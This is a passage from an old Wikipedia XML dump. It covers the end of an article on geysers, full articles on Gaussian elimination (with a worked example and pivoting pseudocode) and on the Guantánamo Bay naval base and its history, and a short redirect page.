However, the observations proved that it actually is possible for life to exist at high temperatures and that some bacteria prefer even temperatures higher than boiling point of [[water (molecule)|water]]. Dozens of such bacteria are known nowadays. [[Thermophile]]s prefer temperatures from 50 to 70 °C whilst [[hyperthermophile]]s grow better at temperatures as high as 80 to 110 °C. As they have heat-stable enzymes that retain their activity even at high temperatures, they have been used as a source of thermostable [[tool]]s, that are important in [[medicine]] and [[biotechnology]], for example in manufacturing [[antibiotic]]s, [[plastic]]s, [[detergent]]s (by the use of heat-stable enzymes [[lipase]]s, [[pullulanase]]s and [[protease]]s), and fermentation products (for example [[ethanol]] is produced). The fact that such bacteria exist also stretches our imagination about life on other [[celestial body|celestial bodies]], both inside and outside of [[solar system]]. Among these, the first discovered and the most important for biotechnology is ''[[Thermus aquaticus]]''.

==Numbers and distribution==
&lt;div class=&quot;thumb tleft&quot;&gt;
&lt;div style=&quot;width:308px;&quot;&gt;
{| style=&quot;background:none;&quot; cellspacing=&quot;0&quot;
|[[image:geyser_exploding_1_large.jpg|150px|]]
|[[image:geyser_exploding_2_large.jpg|150px|]]
|-
|&lt;div class=&quot;thumbcaption&quot;&gt;1. Steam rises from heated water&lt;/div&gt;
|&lt;div class=&quot;thumbcaption&quot;&gt;2. Pulses of water swell upward&lt;/div&gt;
|-
|[[image:geyser_exploding_3_large.jpg|150px|]]
|[[image:geyser_exploding_4_large.jpg|150px|]]
|-
|&lt;div class=&quot;thumbcaption&quot;&gt;3. Surface tension is broken&lt;/div&gt;
|&lt;div class=&quot;thumbcaption&quot;&gt;4. Ejected water spouts upward and falls back&lt;/div&gt;
|}
&lt;/div&gt;
&lt;/div&gt;
Geysers are quite rare, requiring a combination of [[water]], [[heat]], and fortuitous [[plumbing]]. The combination exists in few places on Earth. The five largest geyser fields in the world are (Glennon, J.A. and Pfaff R.M. 2003; Bryan 1995):

*1. [[Yellowstone National Park]], [[Wyoming]], [[United States]]
*2. [[Dolina Geiserov]], [[Kamchatka Peninsula]], [[Russia]]
*3. [[El Tatio]], [[Chile]], [[South America]]
*4. [[Taupo Volcanic Zone]], [[North Island]], [[New Zealand]]
*5. [[Iceland]], [[Europe]]

There used to be two large geysers fields in [[Nevada]]---[[Beowawe, Nevada|Beowawe]] and [[Steamboat Springs (geyser)|Steamboat Springs]]---but they were destroyed by the installation of nearby geothermal power plants. At the plants, geothermal drilling reduced the available heat and lowered the local [[water table]] to the point that geyser activity could no longer be sustained. There are more individual geysers around the world, in [[California]], [[Peru]], [[Bolivia]], [[Mexico]], [[Dominica]], [[Azores]], [[Kenya]] and [[Japan]], but no other large clusters.

Yellowstone is the largest geyser locale, containing thousands of hot springs, and between three and five hundred geysers. Yellowstone includes the tallest active geyser ([[Steamboat Geyser]] in [[Norris Geyser Basin]]) and the renowned ([[Old Faithful Geyser]] in [[Upper Geyser Basin]]).

Many of New Zealand&amp;rsquo;s geysers have been destroyed by humans in the last century. Several New Zealand geysers have also become dormant or extinct by natural means. The main remaining field is [[Whakarewarewa]] at [[Rotorua]]. Two thirds of the geysers at [[Orakei Korako]] were flooded by the Ohakuri hydroelectric dam in 1961. The [[Wairakei]] field was lost to a geothermal power plant in 1958. The Taupo Spa field was lost when the [[Waikato River]] level was deliberately altered in the 1950s. The [[Rotomahana]] field was destroyed by the [[Mount Tarawera]] eruption in 1886. The [[Waimangu Geyser]] which existed from 1900 to 1904 was the largest geyser ever known. It ceased to erupt after a landslide covered its crater. Small numbers of geysers still exist at other places within the Taupo Volcanic Zone including [[Ketetahi]], [[Tokaanu]] and [[Waiotapu]].

==Misnamed geysers==
In a number of places where there is geothermal activity wells have been drilled and fitted with impermeable casements that allow them to erupt like geysers. Though these so-called ''artificial geysers'', technically known as ''erupting geothermal wells'', are not true geysers, they can be quite spectacular. Little Old Faithful Geyser, in [[Calistoga, California]], is an erupting geothermal well.

Sometimes drilled cold-water wells erupt in a geyser-like manner due to the build-up of pressure from dissolved carbon dioxide in the water. These are not true geysers either, but are often called ''cold-water geysers''. The best known of these is probably [[Crystal Geyser]], near [[Green River, Utah]] ([[Glennon, J.A.]] and Pfaff, R.M. 2005).

A ''perpetual spouter'' is a natural hot spring that spouts water constantly. Some of these are incorrectly called geysers, but because they are not periodic in nature they are not considered true geysers either.

==Geysers on Triton==
[[Image:Geysers on Triton.gif|thumb|right|250px|Dark streaks deposited by geysers on Triton]]
One of the great surprises of the [[Voyager 2]] flyby of [[Neptune (planet)|Neptune]] in 1989 was the discovery of geysers on its moon, [[Triton (moon)|Triton]].  Astronomers noticed dark plumes rising to some 8&amp;nbsp;km above the surface, and depositing material up to 150&amp;nbsp;km downstream.

All the geysers observed were located between 40&amp;deg; and 60&amp;deg;S, the part of Triton's surface close to the subsolar point.  This indicates that solar heating, although very weak at Triton's great distance from the Sun, probably plays a crucial role.  It is thought that the surface of Triton probably consists of a semi-[[Transparency (optics)|transparent]] layer of frozen [[nitrogen]], which creates a kind of [[greenhouse effect]], heating the frozen material beneath it until it breaks the surface in an eruption.  A temperature increase of just 4 [[kelvin|K]] above the ambient surface temperature of 38 K could drive eruptions to the heights observed.

Geothermal energy may also be important.  Unusually for a major satellite, Triton orbits Neptune in a [[retrograde]] orbit&amp;mdash;that is, in the opposite direction to Neptune's rotation.  This generates [[tidal force]]s which are causing Triton's orbit to decay, so that in a few million years time it will collide with Neptune.  The tidal forces may also generate heat inside Triton, in the same way as [[Jupiter (planet)|Jupiter]]'s gravity generates tidal forces on [[Io (moon)|Io]] which drive its extreme volcanic activity.

Each eruption of a Triton geyser may last up to a year, and during this time about 0.1&amp;nbsp;km&amp;sup3; of material may be deposited downwind.  Voyager's images of Triton's southern hemisphere show many streaks of dark material laid down by geyser activity.

==References==
*Bryan, T. Scott (1995). ''The geysers of Yellowstone''.  Niwot, Colorado: University Press of Colorado. ISBN 087081365X
*[[Glennon, J.A.]], Pfaff, R.M. (2003). ''The extraordinary thermal activity of El Tatio Geyser Field, Antofagasta Region, Chile'', Geyser Observation and Study Association (GOSA) Transactions, vol 8. pp. 31-78.
*[[Glennon, J.A.]] (2005). ''About Geysers'', website: http://www.uweb.ucsb.edu/~glennon/geysers.
*[[Glennon, J.A.]], Pfaff, R.M. (2005). ''The operation and geography of carbon-dioxide-driven, cold-water geysers'', GOSA Transactions, vol. 9, pp. 184-192. 
*Kelly W.D., Wood C.L. (1993). ''Tidal interaction: A possible explanation for geysers and other fluid phenomena in the Neptune-Triton system'', in Lunar and Planetary Inst., Twenty-Fourth Lunar and Planetary Science Conference. Part 2: 789-790. 
*Rinehart, J.S. (1980) Geysers and Geothermal Energy. Springer-Verlag, 223 p.
*Schreier, Carl (2003). ''Yellowstone's geysers, hot springs and fumaroles (Field guide)'' (2nd ed.). Homestead Pub. ISBN 0943972094
*Soderblom L.A., Becker T.L., Kieffer S.W., Brown R.H., Hansen C.J., Johnson T.V. (1990). Triton's geyser-like plumes - Discovery and basic characterization. ''Science'' 250: 410-415.

==See also==
*[[List of geysers]]

==External links==
{{Commons|Geyser}}
*[http://www.nps.gov/yell/nature/geothermal/geysers.htm ''Geysers and How They Work'' by Yellowstone National Park]
*[http://www.geyserstudy.org/ Geyser Observation and Study Association (GOSA)]
*[http://www.yellowstone.net/geysers/ Geysers of Yellowstone: Online Videos and Descriptions]
*[http://www.uweb.ucsb.edu/~glennon/geysers/ ''About Geysers'' by Alan Glennon]
*[http://www.uweb.ucsb.edu/~glennon/crystalgeyser/ ''Cold Water Geysers'' by Alan Glennon]
*[http://www.unmuseum.org/geysers.htm ''Geysers'', The UnMuseum]
*[http://www.johnstonsarchive.net/geysers/index.html ''Johnston's Archive Geyser Resources'']
*[http://www.wyojones.com/geysers.htm ''What's Up with Geysers?'' by WyoJones]

[[Category:Hydrothermal vents]]

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  </page>
  <page>
    <title>Gaussian elimination</title>
    <id>13035</id>
    <revision>
      <id>41117634</id>
      <timestamp>2006-02-25T04:00:50Z</timestamp>
      <contributor>
        <username>Babbage</username>
        <id>29688</id>
      </contributor>
      <minor />
      <comment>style</comment>
      <text xml:space="preserve">In [[mathematics]], '''Gaussian elimination''' or '''Gauss&amp;ndash;Jordan elimination''', named after [[Carl Friedrich Gauss]] and [[Wilhelm Jordan]] (many regard Gaussian elimination as the front half of the complete Gauss&amp;ndash;Jordan elimination), is an algorithm in [[linear algebra]] for determining the solutions of a [[system of linear equations]], for determining the [[rank of a matrix|rank]] of a [[matrix_(mathematics)|matrix]], and for [[matrix inversion|calculating the inverse]] of an invertible square matrix.  When applied to a matrix, Gaussian elimination produces what is called 
&quot;reduced row echelon form&quot;.

== History ==
The method is named after the [[mathematician]] [[Carl Friedrich Gauss]], but the earliest presentation of it can be found in the important Chinese mathematical text ''Jiuzhang suanshu'' or ''[[The Nine Chapters on the Mathematical Art]]'', dated approximately 150 B.C.E.

== Numerical analysis ==
The [[computational complexity theory|computational complexity]] of Gaussian elimination is [[Big O notation|O]](''n''&lt;sup&gt;3&lt;/sup&gt;); that is, the number of operations required is (approximately) [[proportional]] to ''n''&lt;sup&gt;3&lt;/sup&gt; if the matrix size is ''n'' × ''n''.

This algorithm can be used on a computer for systems with thousands of equations and unknowns. It is, however, numerically unstable, at least on pathological examples; that is, floating-point errors committed throughout the computation are accumulated and may result in results far from the correct solution. For this reason and for reasons of its prohibitive cost on large matrices, iterative methods, generally based on finding a fixed point of a [[contraction mapping]] (see [[Banach fixed point theorem]]), are generally preferred for larger systems; there also exist specific methods for even larger systems whose coefficients follow a regular pattern. See [[system of linear equations]]. Gaussian elimination is, however, a good method for systems of equations over a field where computations are exact, such as [[finite field]]s.

== Example ==
Suppose you need to find numbers ''x'', ''y'', and ''z'' such that the following three equations are all simultaneously true:
:&lt;math&gt;2x + y - z = 8&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;-3x - y + 2z = -11&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;-2x + y + 2z = -3&lt;/math&gt;

This is called a ''system of linear equations'' for the unknowns ''x'', ''y'', and ''z''. They are called ''linear'' because each term is either constant or is a constant times a single variable to the first power. The goal is to transform this system to an equivalent one so that we can easily read off the solution. The operations to transform a system of equations to another, whilst still preserving the solutions are as follows:
* multiply or divide an equation by a non-zero number
* switch two equations
* add or subtract a (not necessarily integer) multiple of one equation to another one

The strategy is as follows: eliminate ''x'' from all but the first equation, eliminate ''y'' from all but the second equation, and then eliminate ''z'' from all but the third equation.

In our example, we eliminate ''x'' from the second equation by adding 3/2 times the first equation to the second, and then we eliminate ''x'' from the third equation by adding the first equation to the third. The result is:
:&lt;math&gt;2x + y - z = 8&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;\begin{matrix} \frac{1}{2} \end{matrix}y + \begin{matrix} \frac{1}{2} \end{matrix}z = 1&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;2y + z = 5&lt;/math&gt;

Now we eliminate ''y'' from the first equation by adding &amp;minus;2 times the second equation to the first, and then we eliminate ''y'' from the third equation by adding &amp;minus;4 times the second equation to the third:
:&lt;math&gt;2x - 2z = 6&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;\begin{matrix} \frac{1}{2} \end{matrix}y + \begin{matrix} \frac{1}{2} \end{matrix}z = 1&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;-z = 1&lt;/math&gt;

Finally, we eliminate ''z'' from the first equation by adding &amp;minus;2 times the third equation to the first, and then we eliminate ''z'' from the second equation by adding 0.5 times the third equation to the second:
:&lt;math&gt;2x = 4&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;\begin{matrix} \frac{1}{2} \end{matrix}y = \begin{matrix} \frac{3}{2} \end{matrix}&lt;/math&gt;,&lt;br /&gt;
:&lt;math&gt;-z = 1&lt;/math&gt;

We can now read off the solution by dividing: ''x'' = 2, ''y'' = 3 and ''z'' = &amp;minus;1.

This algorithm works generally, also for bigger systems. Sometimes it is necessary to switch two equations: for instance if ''y'' had not occurred in the second equation after our first step above, we would have switched the second and third equation and then eliminated ''y'' from the first equation. It is possible that the algorithm gets &quot;stuck&quot;: for instance if ''y'' had not occurred in the second and the third equation after our first step above. In this case, the system does not have a unique solution.

Usually, in practice, one does not deal with the actual systems in terms of equations but instead makes use of the coefficient [[matrix (mathematics)|matrix]] (which is also suitable for computer manipulations), so doing this, our original system would then look like
:&lt;math&gt;
\begin{pmatrix}
2 &amp; 1 &amp; -1 &amp; 8 \\
-3 &amp; -1 &amp; 2 &amp; -11 \\
-2 &amp; 1 &amp; 2 &amp; -3
\end{pmatrix}
&lt;/math&gt;

and in the end we are left with
:&lt;math&gt;
\begin{pmatrix}
2 &amp; 0 &amp; 0 &amp; 4 \\
0 &amp; 1/2 &amp; 0 &amp; 3/2 \\
0 &amp; 0 &amp; -1 &amp; 1
\end{pmatrix}
&lt;/math&gt;

or, after dividing the rows by 2, 1/2 and &amp;minus;1, respectively:
:&lt;math&gt;
\begin{pmatrix}
1 &amp; 0 &amp; 0 &amp; 2 \\
0 &amp; 1 &amp; 0 &amp; 3 \\
0 &amp; 0 &amp; 1 &amp; -1
\end{pmatrix}
&lt;/math&gt;

In this case we apply matrix operations equivalent to the equation operations, namely:
* Multiply or divide a row by a non-zero value.
* Switch two rows.
* Add or subtract a (not necessarily integer) multiple of one row to another row.

== Row echelon and reduced row echelon form ==
Two special arrangements of matrix are called row echelon form and reduced row echelon form. The definitions of these terms depends on the first non-zero term in each row, called the row's ''leading coefficient''. For a matrix to be in row echelon form (REF), each leading coefficient must equal 1. Furthermore the rows must be arranged as follows. As one moves from the top to the bottom of the matrix, the leading coefficients move from the left to the right and finally rows without any leading coefficient appear last. The final matrix in the example above is in row echelon form, as is this matrix:
:&lt;math&gt;
\begin{pmatrix}
0 &amp; 1 &amp; 4 &amp; 0 &amp; -3 \\
0 &amp; 0 &amp; 0 &amp; 1 &amp; 0  \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; 1  \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; 0  \\
\end{pmatrix}
&lt;/math&gt;

A matrix in REF is further said to be in reduced row echelon form (RREF) if each leading coefficient is the only non-zero entry in its column. The above matrix is not in RREF because of the &amp;minus;3 entry. If that entry were 0, the matrix would be in RREF.

Gaussian elimination amounts to using the matrix operations to obtain a matrix in RREF. All matrices have a unique equivalent matrix in RREF. When solving a linear system, sometimes there are no solutions and sometimes there are multiple solutions. Whichever is the case, converting the final matrix back into equations reveals the solutions (if any) of the system. For instance, if the above matrix represents a system in four variables, the third row corresponds to the equation 0&amp;nbsp;=&amp;nbsp;1, so the matrix represents a system with no solutions.

A system of equations is inconsistent (i.e., it has no solutions) if the RREF of the [[augmented matrix]] has a row which has all zeros except for the last element which is non-zero (i.e. 0 0 0 ... 0 | ''a'', where ''a'' is non-zero.) 

The following matrix in RREF represents a system with infinitely many solutions:
:&lt;math&gt;
\begin{pmatrix}
1 &amp; 2/3 &amp; 0 &amp; 11 \\
0 &amp; 0 &amp; 1 &amp; 7 \\
\end{pmatrix}
&lt;/math&gt;

In equation form, we have ''x''&amp;nbsp;+&amp;nbsp;(2/3)''y''&amp;nbsp;=&amp;nbsp;11 and ''z''&amp;nbsp;=&amp;nbsp;7. Each value of ''y'' yields a different value of ''x''.

A system of linear equations will have infinitely many solutions if the matrix in RREF form has more unknown variables than the total number of rows in RREF where each row has at least a non-zero entry.

== Other applications ==
=== Finding the inverse of a matrix ===
Suppose ''A'' is a square ''n'' × ''n'' matrix and you need to calculate its [[matrix inversion|inverse]]. The ''n'' × ''n'' [[identity matrix]] is augmented to the right of ''A'', which produces an ''n'' × 2''n'' matrix. Then you perform the Gaussian elimination algorithm on that matrix. When the algorithm finishes, the identity matrix will appear on the left; the inverse of ''A'' can then be found to the right of the identity matrix. 

If the algorithm gets &quot;stuck&quot; as explained above, then ''A'' is not invertible. 

In practice, inverting a matrix is rarely required. Most of the time, one is really after the solution of a particular system of linear equations.

=== The general algorithm to compute ranks and bases  ===
The Gaussian elimination algorithm can be applied to any ''m'' × ''n'' matrix ''A''. If we get &quot;stuck&quot; in a given column, we move to the next column. In this way, for example, any 6 by 9 matrix can be transformed to a matrix that has a reduced row echelon form like
:&lt;math&gt;
\begin{pmatrix}
1 &amp; * &amp; 0 &amp; 0 &amp; * &amp; * &amp; 0 &amp; * &amp; 0 \\
0 &amp; 0 &amp; 1 &amp; 0 &amp; * &amp; * &amp; 0 &amp; * &amp; 0 \\
0 &amp; 0 &amp; 0 &amp; 1 &amp; * &amp; * &amp; 0 &amp; * &amp; 0 \\ 
0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 1 &amp; * &amp; 0 \\ 
0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 1 \\ 
0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 &amp; 0 
\end{pmatrix}
&lt;/math&gt;

(the *'s are arbitrary entries). This echelon matrix ''T'' contains a wealth of information about ''A'': the [[rank of a matrix|rank]] of ''A'' is 5 since there are 5 non-zero rows in ''T''; the vector space spanned by the columns of ''A'' has as basis the first, third, forth, seventh and ninth column of ''A'' (the columns of the ones in ''T''), and the *'s tell you how the other columns of ''A'' can be written as linear combinations of the basis columns.

The Gaussian elimination can be performed over any [[field (mathematics)|field]]. The three elementary operations used in the Gaussian elimination (multiplying rows, switching rows, and adding multiples of rows to other rows) amount to multiplying the original matrix ''A'' with invertible ''m'' × ''m'' matrices from the left. In general, we can say:
:To every ''m'' × ''n'' matrix ''A'' over the field ''K'' there exists a uniquely determined invertible ''m'' × ''m'' matrix ''S'' and a uniquely determined reduced row-echelon matrix ''T'' such that ''A'' = ''ST''. 
''S'' is the product of the matrices corresponding to the row operations performed.

The formal algorithm to compute ''T'' from ''A'' follows. We write ''A''[''i'',''j''] for the entry in row ''i'', column ''j'' in matrix ''A''. The transformation is performed &quot;in place&quot;, meaning that the original matrix ''A'' is lost and successively replaced by ''T''.
&lt;pre&gt;
i=1
j=1
while (i ≤ m and j ≤ n) do
  # Find pivot in column j, starting in row i:
  max_val = A[i,j]
  max_ind = i
  for k=i+1 to m do
    val = A[k,j]
    if abs(val) &gt; abs(max_val) then
      max_val = val
      max_ind = k
    end_if
  end_for
  if max_val ≠ 0 then
    switch rows i and max_ind
    divide row i by max_val
    for u = 1 to m do
       if u ≠ i then
          subtract A[u,j] * row i from row u
       end_if
    end_for
    i = i + 1
  end_if
  j = j + 1
end_while
&lt;/pre&gt;

This algorithm differs slightly from the one discussed earlier, because before eliminating a variable, it first exchanges rows to move the entry with the largest [[absolute value]] to the &quot;pivot position&quot;. Such a pivoting procedure improves the numerical stability of the algorithm; some variants are also in use. 

Note that if the field is the real or complex numbers and [[floating point]] arithmetic is in use, the comparison &lt;tt&gt;max_val ≠ 0&lt;/tt&gt; should be replaced by &lt;tt&gt;abs(max_val) &gt; epsilon&lt;/tt&gt; for some small, machine-dependent constant &lt;tt&gt;epsilon&lt;/tt&gt;, since it is rarely correct to compare floating point numbers to zero.

[[Category:Numerical linear algebra]]

[[cs:Gaussova eliminační metoda]]
[[de:Gaußsches Eliminationsverfahren]]
[[fr:Élimination de Gauss-Jordan]]
[[ko:가우스 소거법]]
[[nl:Gauss-eliminatie]]
[[ja:ガウスの消去法]]
[[pl:Metoda Gaussa]]
[[sl:Gaussova eliminacijska metoda]]
[[sv:Gausselimination]]</text>
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  </page>
  <page>
    <title>Gustav R. Kirchhoff</title>
    <id>13036</id>
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      <timestamp>2002-08-11T20:02:07Z</timestamp>
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        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Gustav Kirchhoff]] </comment>
      <text xml:space="preserve">#REDIRECT [[Gustav Kirchhoff]]</text>
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  <page>
    <title>Guantanamo Bay</title>
    <id>13037</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42145249</id>
      <timestamp>2006-03-04T02:57:20Z</timestamp>
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        <username>ROGNNTUDJUU!</username>
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      <comment>/* Detention of prisoners */ link to court order description</comment>
      <text xml:space="preserve">[[Image:Cu-map-Guantanamo.png|right|thumb|315px|Map of Cuba with location of Guantánamo Bay indicated.]][[Image:Gitmo Aerial.jpg|frame|right|Aerial view of Guantánamo Bay]]
[[Image:Guantanamo bay satellite image.jpg|thumb|right|300px|Satellite view of Guantánamo Bay]]
[[Image:Guantanamo.jpg|thumb|300px|Map of Guantánamo Bay showing approximate U.S. Naval Boundaries.]]
'''Guantánamo Bay''' is a bay located in [[Guantánamo Province]] at the south-eastern end of [[Cuba]] ({{coor dm|19|54|N|75|9|W|}}).

The southern portion of the bay has been owned by the [[United States of America]] for several decades and used as a [[United States Navy|naval]] base. Recently, the base has begun to host a detainment camp for militant combatants collected from both [[Afghanistan]] and [[Iraq]]. This detainment camp&amp;mdash;in fact, even the U.S. presence in Guantánamo&amp;mdash;is against the will of the Cuban government and considered to be an illegal occupation of the area. The U.S. government believes it is in compliance with a treaty signed by both governments, however. The Cuban government strongly denounces the treaty on grounds that article 52 of the [[1969]] Vienna Convention on the Law of Treaties declares a treaty void if its conclusion has been procured by the threat or use of force (see below).

==History==
[[Image:Mugmapd.jpg|thumb|right|200px|left|Guantánamo Bay Airport Diagram]]
''See also [[Timeline of Guantánamo Bay]]''

''See also [[Commanders of Guantánamo Bay]]''

The bay was originally named Guantánamo by the [[Taino]].  [[Christopher Columbus]] landed at the location known as Fisherman's Point in [[1494]].  The bay was briefly renamed Cumberland when the British took it in the first part of the [[18th century]] during the [[War of Jenkins' Ear]]. In [[1790]] the British garrison at Cumberland died of fever as had a previous British force [http://www.globalizationinstitute.org/blog/0504_guantanamo_bay_freeport.php], before they could attack Santiago by land [http://www.americanheritage.com/articles/magazine/ah/1962/2/1962_2_18.shtml].  

During the [[Spanish-American War]] the U.S. fleet attacking Santiago needed shelter from the summer hurricane season. Thus Guantánamo with its excellent harbor was chosen for this purpose. The Marines landed successfully with naval support; however, as they went inland Spanish resistance increased to the point at which Cuban scouts were needed to save the leathernecks.  

'''U.S. Naval Station Guantánamo Bay''', which covers 116&amp;nbsp;km² (approx. 45 sq miles), is sometimes abbreviated as '''GTMO''' or &quot;'''Gitmo'''&quot;. It was established in [[1898]], when the United States obtained control of Cuba from [[Spain]] at the end of the [[Spanish-American War]], following the [[1898 invasion of Guantánamo Bay]].  The U.S. government obtained a perpetual [[lease]] that began on [[February 23]], [[1903]], from [[Tomás Estrada Palma]], an American citizen, who became the first President of Cuba.  The newly formed American [[protectorate]] incorporated the [[Platt Amendment]] in the Cuban Constitution.  The [[Cuban-American Treaty]] held, among other things, that the United States, for the purposes of operating coaling and naval stations, has &quot;complete jurisdiction and control&quot; of the Guantánamo Bay, while the Republic of Cuba is recognized to retain ultimate sovereignty.

In [[1905]], in part because of the [[Platt Amendment]], there was an uprising to which the United States responded by occupying Cuba for three years.  A [[1934]] treaty reaffirming the lease granted Cuba and her trading partners free access through the bay, modified the lease payment from $2,000 in U.S. gold coins per year, to the 1934 equivalent value of $4,085 in U.S. Treasury Dollars&lt;!-- Federal Reserve Notes, United States Notes, or is the treaty not that specific? --&gt;, and added a requirement that termination of the lease requires the consent of both governments, or the abandonment of the base property by the United States.

With over 9,500 U.S. troops, [http://www7.nationalgeographic.com/ngm/0504/index.html]  Guantánamo Bay is the only U.S. base in operation on [[Communist state|Communist]] soil, as of 2006.

Until the Cuban Revolution, thousands of Cubans worked inside the base, commuting each day through several gates.  In mid-1958 when the Cuban territory was declared off limits, the flow of traffic was stopped and Cuban workers coming into the base were required to walk through the gate checkpoint.  Public Works Center busses were pressed into service almost overnight to carry the tremendous volume of Cuban workers to and from the gate. [http://www.nsgtmo.navy.mil/history/gtmohistorymurphyvol1ch18.htm]

Since coming to power, [[Fidel Castro]] has only cashed one rent check, while steadfastly refusing to cash any others, because he views the lease as illegitimate.  After the Cuban Revolution many Cubans sought refuge on the base, and Castro had the military plant 8 miles of cactus along the Northeastern section of the fenceline during the fall of 1961 to inhibit people from crossing onto the base — this lead to the moniker &quot;Cactus Curtain&quot;, as an allusion to the [[Iron Curtain]] in Europe. [http://www.nsgtmo.navy.mil/history/gtmohistorymurphyvol1ch18.htm]

Today, however, although diplomatic relations do not exist between the two countries, the United States has agreed to return fugitives from Cuban law to Cuban authorities, and Cuba agreed to return fugitives from U.S. law, for offenses committed in Guantánamo Bay, to U.S. authorities.

During the [[Cuban Missile|Cuban Missile Crisis]], the civilian families of military personnel were evacuated from the base.  Dependents were notified of the evacuation on October 22nd; evacuees were told to pack one suitcase for each member of the family, to bring evacuation and immunization cards, to tie pets in the yard, leave the keys to the house on the dining table, and stand by in front of the house ready to board busses. [http://www.nsgtmo.navy.mil/history/gtmohistorymurphyvol1ch19.htm] Dependents were then either bussed to ports, where they boarded evacuation ships, or were flown to the U.S. mainland.

Since 1939 the base's water had been supplied by pipelines from the Yateras River, approximately four and one-half miles northeast of the base, but in 1964 the Cuban government cut off water to the base.  At the time the U. S. Government paid a monthly rate of about $14,000, receiving about two and one-half million gallons per day. Average consumption was about two million gallons per day.  When the water cut-off occurred, about 14 million gallons of water was in storage, and strict water conservation was put into effect immediately.  First the United States imported water from [[Jamaica]] via barges, and later the United States built [[desalination]] plants.[http://www.nsgtmo.navy.mil/history/gtmohistorymurphyvol1ch21.htm]  When the Cuban government accused the United States of stealing water, the base commander ordered that the water pipelines coming into the base be cut and a section removed. A 38-inch section of the 14-inch pipe and a 20-inch section of the 10-inch pipe were cut and lifted from the ground and the openings sealed permanently. 

Today, the base is self-sufficient, producing its own water and electricity.  After the resolution of the water crisis, in December, [[1964]], military dependents were allowed to return to the base.  Only two Cubans, both elderly, still cross the base's North East Gate daily to work on the base; the Cuban government prohibits new recruitment.  Now only rarely do Cubans escape here, going by water around the mine fields, to reach the base. U.S. Troops scattered 75,000 land mines across the so-called &quot;no man's land&quot;, i.e. the land strip between the U.S. and Cuban border.  It was the largest mine field in the western hemisphere and 2nd largest in the world. On [[May 16]], [[1996]] a Presidential Order required the removal of the mines.  They have since been replaced with motion and sound sensors to detect intruders.  The Cuban government has not removed a corresponding minefield on its side of the border. [http://news.bbc.co.uk/1/hi/world/americas/1731704.stm]

The U.S. control of this Cuban territory has never been popular with the Cuban government or the Cuban people.  The Cuban government strongly denounces the treaty on grounds that article 52 of the [[1969]] [[Vienna Convention on the Law of Treaties]] declares a treaty void if its conclusion has been procured by the threat or use of force — in this case by the inclusion, in [[1903]], of the [[Platt Amendment]] in the Cuban Constitution. The United States warned the [[Cuban Constitutional Convention]] not to modify the Amendment, and was told U.S. troops would not leave Cuba until its terms had been adopted as a condition for the U.S. to grant independence, making the [[Geneva Conventions]] applicable to the [[1903]]/[[1934]] treaty upheld by that Amendment.

The United States holds that by cashing the first check received in accordance with said treaty, Castro's government effectively ratified the lease, and cannot unilaterally change its mind after the fact on account of political tensions or ideological differences. It further argues that all claims regarding an original violation of sovereignty under the Platt Amendment, and questions of an illegal military occupation, became moot once the new and independent revolutionary government freely reaffirmed the base's legitimacy.

===Gitmo's [[fast food]]===
In [[1986]], Guantánamo became host to Cuba's first and only [[McDonald's]] restaurant, as well as a [[Subway (restaurant)| Subway]][http://www.pbs.org/newshour/bb/military/july-dec03/gbay_10-14.html].  These fast food restaurants are on base, and not accessible to Cubans.  It has been reported that prisoners showing good behavior have been rewarded not only with dates, pita bread and even [[twinkies]], but also '[[Happy Meal|Happy Meals]]', [[hamburger|hamburgers]] or [[Filet-O-Fish]] sandwiches from the McDonalds's located at Camp America.[http://nation.ittefaq.com/artman/publish/article_24715.shtml]

==Detention of prisoners==
{{current}}
[[Image:Camp x-ray detainees.jpg|right|thumb|251px|Detainees upon arrival at Camp X-Ray, January 2002]]
{{main|Camp Delta}}
The use of Guantánamo Bay as a military prison has been controversial among [[human rights]] organizations concerned about reports of the treatment of detainees. Critics of U.S. detainment policies also question the propriety of using an offshore prison, and the unclear legal status of its detainees (neither prisoners of war, nor tried as common criminals). Critics of protesting organizations argue that constitutional rights have never been afforded for prisoners of war or non-U.S. citizens, however they omit the protections guaranteed by international treaties, among other things, against [[torture]]. These treaties are the &quot;Supreme Law of the Land&quot; through the U.S. constitution and also cover the treatment of prisoners in [[black sites]] and exported and outsourced torture.

On [[June 16]], [[2005]], the U.S. Department of Defense announced a unit of [[defense contractor]] [[Halliburton]] will build a new $30 million detention facility and security perimeter around the base. 

In the last quarter of the [[20th century]], prior to the decision by President [[George W. Bush]] to lead the United States into the &quot;[[War on Terror]]&quot;, the base was used to house Cuban and [[Haiti]]an refugees intercepted on the high seas.  Most controversially, the base was used during the early [[1990s]] to hold often [[HIV]]-positive refugees fleeing Haiti after the overthrow of democratically-elected President [[Jean-Bertrand Aristide]] by a military [[coup d'etat]].  These refugees were held in a detainment area called [[Camp Bulkeley]] until [[U.S. District Court]] Judge [[Sterling Johnson Jr.]] declared the camp unconstitutional on [[June 8]], [[1993]].  The last Haitian migrants departed from Guantánamo on [[1 November]] [[1995]].

Beginning in 2002, however, a small portion of the base was used to imprison suspected [[al-Qaeda]] and [[Taliban]] prisoners captured in [[Afghanistan]] and elsewhere at [[Camp Delta]], Echo, [[Camp Iguana]], and the now closed Camp X-Ray.

The names of more than 317 of the about 500 alleged enemy combatants being held in Guantánamo Bay were released by the [[Department of Defense]] on [[March 3]], [[2006]], after a [[court order]] to reveal them. [[Jed_S._Rakoff#Associated_Press_v._Dep.27t_of_Defense|The court order]] required the DoD to release the names of all the detainees.  Although justice [[Jed Rakoff]] had already dismissed this argument, Pentagon spokesmen Bryan Whitman justified withholding the names out of a concern for the detainees' privacy.
[http://www.defenselink.mil/pubs/foi/index.html] [http://abcnews.go.com/International/wireStory?id=1684997]

===Statistics===
